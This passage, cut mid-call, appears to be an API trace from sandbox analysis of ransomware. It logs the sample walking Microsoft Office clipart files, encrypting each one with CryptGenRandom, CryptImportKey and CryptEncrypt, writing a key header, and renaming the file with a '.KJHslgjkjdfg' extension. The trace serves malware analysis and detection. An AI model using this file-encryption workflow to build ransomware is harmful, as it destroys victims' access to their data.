pdwDataLen=0x4dff258*=0x760) returned 1 [0194.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.998] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x760, lpOverlapped=0x0) returned 1 [0194.998] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.998] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.998] SetEndOfFile (hFile=0x130) returned 1 [0195.001] GetProcessHeap () returned 0x2ef0000 [0195.001] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.001] GetProcessHeap () returned 0x2ef0000 [0195.001] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.kjhslgjkjdfg")) returned 1 [0195.002] CloseHandle (hObject=0x130) returned 1 [0195.002] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0195.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.003] GetProcessHeap () returned 0x2ef0000 [0195.003] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.003] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.003] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.003] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.006] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.006] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.006] GetProcessHeap () returned 0x2ef0000 [0195.006] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.006] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.006] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.006] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.007] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.007] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.007] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.007] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.007] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.007] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.007] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xed4, lpOverlapped=0x0) returned 1 [0195.007] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xee0, dwBufLen=0xee0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xee0) returned 1 [0195.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.007] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xee0, lpOverlapped=0x0) returned 1 [0195.008] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.008] SetEndOfFile (hFile=0x130) returned 1 [0195.011] GetProcessHeap () returned 0x2ef0000 [0195.011] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.011] GetProcessHeap () returned 0x2ef0000 [0195.011] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.kjhslgjkjdfg")) returned 1 [0195.012] CloseHandle (hObject=0x130) returned 1 [0195.012] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0195.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.013] GetProcessHeap () returned 0x2ef0000 [0195.013] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.013] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.013] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.018] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.018] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.018] GetProcessHeap () returned 0x2ef0000 [0195.018] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.018] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.018] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.018] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.018] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.018] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.018] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.018] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.018] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.019] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.019] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7e8, lpOverlapped=0x0) returned 1 [0195.019] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7f0) returned 1 [0195.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.019] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7f0, lpOverlapped=0x0) returned 1 [0195.019] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.019] SetEndOfFile (hFile=0x130) returned 1 [0195.020] GetProcessHeap () returned 0x2ef0000 [0195.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.020] GetProcessHeap () returned 0x2ef0000 [0195.020] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.kjhslgjkjdfg")) returned 1 [0195.021] CloseHandle (hObject=0x130) returned 1 [0195.021] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0195.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.022] GetProcessHeap () returned 0x2ef0000 [0195.022] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.022] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.022] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.022] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.027] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.027] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.027] GetProcessHeap () returned 0x2ef0000 [0195.027] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.027] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.027] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.027] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.027] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.027] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.027] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.028] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.028] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.028] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x824, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x824, lpOverlapped=0x0) returned 1 [0195.028] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x830, dwBufLen=0x830 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x830) returned 1 [0195.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.028] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x830, lpOverlapped=0x0) returned 1 [0195.028] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.028] SetEndOfFile (hFile=0x130) returned 1 [0195.031] GetProcessHeap () returned 0x2ef0000 [0195.031] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.031] GetProcessHeap () returned 0x2ef0000 [0195.031] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.kjhslgjkjdfg")) returned 1 [0195.032] CloseHandle (hObject=0x130) returned 1 [0195.032] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0195.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.033] GetProcessHeap () returned 0x2ef0000 [0195.034] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.034] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.034] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.036] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.036] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.036] GetProcessHeap () returned 0x2ef0000 [0195.036] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.036] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.036] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.036] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.037] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.037] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.037] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.037] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5a8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5a8, lpOverlapped=0x0) returned 1 [0195.037] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b0) returned 1 [0195.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.037] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5b0, lpOverlapped=0x0) returned 1 [0195.037] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.038] SetEndOfFile (hFile=0x130) returned 1 [0195.038] GetProcessHeap () returned 0x2ef0000 [0195.038] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.038] GetProcessHeap () returned 0x2ef0000 [0195.038] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, 